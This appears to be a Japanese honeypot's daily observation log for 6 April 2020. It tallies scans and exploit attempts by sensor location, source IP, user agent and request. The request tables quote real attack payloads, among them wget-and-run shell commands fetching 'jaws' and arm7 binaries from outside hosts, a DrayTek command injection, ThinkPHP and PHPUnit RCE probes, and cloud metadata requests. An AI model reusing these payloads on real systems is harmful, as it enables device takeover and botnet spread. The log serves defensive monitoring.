ハニーポット(仮) 観測記録 2020/04/06分です。
特徴
Location:JP
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
クラウド環境のメタデータ情報を狙うアクセス
AWS Security Scannerによるスキャン行為
polaris botnetによるスキャン行為
XTCによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
18[.]179[.]20[.]5に関する不正通信
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 194.15.36.96/jaws; sh /tmp/jaws
Location:US
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
Raducu HTTP AGENTによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
phpMyAdminへのスキャン行為
を確認しました。
Location:UK
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
Joomla!の脆弱性を狙うアクセス
ThinkPHPの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
XTC BOTNETによるスキャン行為
zgrabによるスキャン行為
Apache Solrへのスキャン行為
UserAgentがHello, Worldであるアクセス
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp; rm -rf *; wget 179.43.149.24/jaws; sh /tmp/jaws
Location:SG
DrayTek製品の脆弱性を狙うアクセス
GPONルータの脆弱性を狙うアクセス
ZivifのWebカメラの脆弱性を狙うアクセス
polaris botnetによるスキャン行為
XTC BOTNETによるスキャン行為
Apache Tomcatへのスキャン行為
110[.]249[.]212[.]46に関する不正通信
を確認しました。
/shellに対する以下のアクセスを確認しました。
cd /tmp;rm -rf *; wget 179.43.149.24/jaws; sh /tmp/jaws
cd /tmp; rm -rf .j; wget http:/\\/91.92.66.124/..j/.j; chmod 777 .j; sh .j; echo DONE
他
アクセス数推移
JP:総アクセス数:60 (前日比:+15)
US:総アクセス数:138 (前日比:+103)
UK:総アクセス数:17 (前日比:-16)
SG:総アクセス数:17 (前日比:-10)
都合により GET / HTTP/1.1 POST / HTTP/1.1 は除いています。
Location:JP
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
6 | 5.101.0.209 | Russia |
1 | 23.30.83.122 | United States |
1 | 27.219.158.231 | China |
34 | 44.225.84.206 | United States |
1 | 45.3.194.11 | United States |
1 | 45.13.93.82 | Germany |
1 | 45.13.93.90 | Germany |
4 | 45.248.236.10 | China |
1 | 46.12.148.211 | Greece |
1 | 61.219.11.153 | Taiwan |
1 | 66.63.79.202 | United States |
1 | 75.148.156.244 | United States |
1 | 80.82.70.118 | Netherlands |
1 | 162.243.128.71 | United States |
1 | 173.246.65.22 | Canada |
1 | 180.9.213.123 | Japan |
1 | 185.53.88.38 | Netherlands |
1 | 186.4.141.137 | Ecuador |
1 | 208.88.173.42 | United States |
UserAgent一覧
件数 | UserAgent |
---|---|
30 | - |
14 | AWS Security Scanner |
2 | Go-http-client/1.1 |
6 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
4 | Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6) |
1 | Mozilla/5.0 zgrab/0.x |
1 | XTC |
1 | XTC BOTNET |
1 | polaris botnet |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
10 | \x16\x03\x01 | ||
1 | \x16\x03\x02\x01o\x01 | ||
10 | CONNECT | 18[.]179[.]20[.]5:80 | HTTP/1.0 |
2 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
1 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /TP/index.php | HTTP/1.1 |
1 | GET | /TP/public/index.php | HTTP/1.1 |
1 | GET | /html/public/index.php | HTTP/1.1 |
1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP | HTTP/1.1 |
4 | GET | /latest/dynamic/instance-identity/document | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
2 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 194.15.36.96/jaws;sh+/tmp/jaws | |
1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | GET | /thinkphp/html/public/index.php | HTTP/1.1 |
1 | GET | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/ | HTTP/1.1 |
2 | GET | http://[::ffff:a9fe:a9fe]/latest/dynamic/instance-identity/document | HTTP/1.1 |
2 | GET | http[:]//169[.]254[.]169[.]254/ | HTTP/1.1 |
2 | GET | http[:]//169[.]254[.]169[.]254/latest/dynamic/instance-identity/document | HTTP/1.1 |
2 | GET | http[:]//example[.]com/ | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
1 | POST | /boaform/admin/formPing | HTTP/1.1 |
2 | POST | /cgi-bin/mainfunction.cgi | HTTP/1.1 |
5 | POST | /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a | HTTP/1.1 |
1 | POST | /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php | HTTP/1.1 |
Location:US
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 45.13.93.82 | Germany |
1 | 45.13.93.90 | Germany |
10 | 45.43.18.112 | United States |
114 | 73.173.168.227 | United States |
4 | 80.82.77.139 | Netherlands |
1 | 96.47.122.230 | United States |
1 | 142.112.19.138 | Canada |
1 | 159.89.147.211 | United States |
1 | 162.243.128.71 | United States |
1 | 162.243.133.109 | United States |
2 | 185.153.197.103 | Republic of Moldova |
1 | 189.189.177.47 | Mexico |
UserAgent一覧
件数 | UserAgent |
---|---|
15 | - |
2 | Go-http-client/1.1 |
113 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36 |
1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 |
2 | Mozilla/5.0 zgrab/0.x |
2 | Raducu HTTP AGENT |
1 | XTC BOTNET |
1 | polaris botnet |
1 | python-requests/2.23.0 |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | - | ||
2 | \x03 | ||
2 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | /.well-known/security.txt | HTTP/1.1 |
1 | GET | /2phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /MyAdmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /MyAdmin/scripts/setup.php | HTTP/1.0 |
1 | GET | /PMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2019/index.php?lang=en | HTTP/1.1 |
1 | GET | /PMA2020/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/pMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/sqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/sysadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /admin/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/PMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /administrator/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /database/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/db-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/dbweb/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin-3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpMyAdmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpmyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/webadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/webdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /db/websql/index.php?lang=en | HTTP/1.1 |
1 | GET | /dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /favicon.ico | HTTP/1.1 |
1 | GET | /hudson | HTTP/1.1 |
1 | GET | /index.php?lang=en | HTTP/1.1 |
1 | GET | /myadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /myadmin/scripts/setup.php | HTTP/1.0 |
1 | GET | /mysql-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/db/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/dbadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/pMA/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/pma/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysql/web/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /mysqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /php-my-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /php-myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin-3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpMyAdmin/scripts/setup.php | HTTP/1.0 |
1 | GET | /phpMyAdmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyAdmin4/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpMyadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmy-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmy/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyAdmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin/index.php?lang=en | HTTP/1.1 |
2 | GET | /phpmyadmin/scripts/setup.php | HTTP/1.0 |
1 | GET | /phpmyadmin1/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2019/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin2020/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin3/index.php?lang=en | HTTP/1.1 |
1 | GET | /phpmyadmin4/index.php?lang=en | HTTP/1.1 |
1 | GET | /phppma/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma/index.php?lang=en | HTTP/1.1 |
2 | GET | /pma/scripts/setup.php | HTTP/1.0 |
1 | GET | /pma2011/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2012/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2013/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2014/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2015/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2016/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2017/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2018/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2019/index.php?lang=en | HTTP/1.1 |
1 | GET | /pma2020/index.php?lang=en | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
1 | GET | /program/index.php?lang=en | HTTP/1.1 |
1 | GET | /robots.txt | HTTP/1.1 |
1 | GET | /shopdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sitemap.xml | HTTP/1.1 |
1 | GET | /sql/myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/php-myadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpMyAdmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpMyAdmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmy-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/phpmyadmin2/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sql-admin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sql/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sqladmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/sqlweb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/webadmin/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/webdb/index.php?lang=en | HTTP/1.1 |
1 | GET | /sql/websql/index.php?lang=en | HTTP/1.1 |
1 | GET | /sqlmanager/index.php?lang=en | HTTP/1.1 |
1 | GET | /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en | HTTP/1.1 |
1 | POST | /boaform/admin/formPing | HTTP/1.1 |
1 | POST | /cgi-bin/mainfunction.cgi | HTTP/1.1 |
1 | POST | /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a | HTTP/1.1 |
Location:UK
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 5.29.18.171 | Israel |
4 | 5.101.0.209 | Russia |
1 | 13.77.107.52 | United States |
1 | 45.13.93.82 | Germany |
1 | 47.206.38.79 | United States |
1 | 62.99.55.78 | Spain |
1 | 81.182.4.51 | Hungary |
1 | 91.234.62.27 | Russia |
1 | 101.254.243.38 | China |
1 | 162.243.133.91 | United States |
1 | 189.249.44.41 | Mexico |
2 | 197.57.93.121 | Egypt |
1 | 223.149.48.221 | China |
UserAgent一覧
件数 | UserAgent |
---|---|
4 | - |
1 | Go-http-client/1.1 |
2 | Hello, World |
1 | Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1) |
4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 |
1 | Mozilla/5.0 zgrab/0.x |
2 | XTC BOTNET |
2 | polaris botnet |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
1 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | /?XDEBUG_SESSION_START=phpstorm | HTTP/1.1 |
1 | GET | /?a=fetch&content= |
HTTP/1.1 |
1 | GET | /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1]=HelloThinkPHP | HTTP/1.1 |
1 | GET | /portal/redlion | HTTP/1.1 |
2 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 179.43.149.24/jaws;sh+/tmp/jaws | |
1 | GET | /solr/admin/info/system?wt=json | HTTP/1.1 |
1 | HEAD | /robots.txt | HTTP/1.0 |
2 | POST | /GponForm/diag_Form?images/ | HTTP/1.1 |
2 | POST | /boaform/admin/formPing | HTTP/1.1 |
2 | POST | /cgi-bin/mainfunction.cgi | HTTP/1.1 |
1 | POST | /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a | HTTP/1.1 |
1 | POST | /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax | HTTP/1.1 |
Location:SG
送信元IPアドレス一覧
件数 | 送信元IPアドレス | 国 |
---|---|---|
1 | 45.13.93.82 | Germany |
1 | 45.13.93.90 | Germany |
1 | 60.23.193.63 | China |
1 | 61.219.11.153 | Taiwan |
1 | 72.143.30.218 | Canada |
4 | 110.249.212.46 | China |
1 | 115.79.31.96 | Vietnam |
1 | 119.145.134.155 | China |
1 | 156.195.94.64 | Egypt |
1 | 188.223.70.176 | United Kingdom |
1 | 189.201.243.92 | Mexico |
1 | 195.146.10.254 | Slovakia |
1 | 197.33.56.87 | Egypt |
1 | 201.144.198.60 | Mexico |
UserAgent一覧
件数 | UserAgent |
---|---|
10 | - |
2 | Go-http-client/1.1 |
1 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36 |
1 | Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0) |
1 | Mozilla/5.0 Gecko/20100101 |
1 | XTC BOTNET |
1 | polaris botnet |
リクエスト内容一覧
件数 | Method | Request | Protocol |
---|---|---|---|
2 | - | ||
2 | CONNECT | ip[.]ws[.]126[.]net:443 | HTTP/1.1 |
1 | GET | /manager/html | HTTP/1.1 |
2 | GET | /shell?cd+/tmp;rm+-rf+*;wget+ 179.43.149.24/jaws;sh+/tmp/jaws | |
1 | GET | /shell?cd+/tmp;rm+-rf+.j;wget+http:/\/91.92.66.124/..j/.j;chmod+777+.j;sh+.j;echo+DONE | HTTP/1.1 |
1 | GET | /web/cgi-bin/hi3510/param.cgi?cmd=getp2pattr&cmd=getuserattr | HTTP/1.1 |
4 | GET | http[:]//110[.]249[.]212[.]46/testget?q=23333&port=80 | HTTP/1.1 |
1 | POST | /boaform/admin/formPing | HTTP/1.1 |
1 | POST | /cgi-bin/mainfunction.cgi | HTTP/1.1 |
2 | POST | /cgi-bin/mainfunction.cgi?action=login&keyPath=%27%0A/bin/sh${IFS}-c${IFS}'cd${IFS}/tmp;${IFS}rm${IFS}-rf${IFS}arm7;${IFS}busybox${IFS}wget${IFS}http[:]//192[.]3[.]45[.]185/arm7;${IFS}chmod${IFS}777${IFS}arm7;${IFS}./arm7'%0A%27&loginUser=a&loginPwd=a | HTTP/1.1 |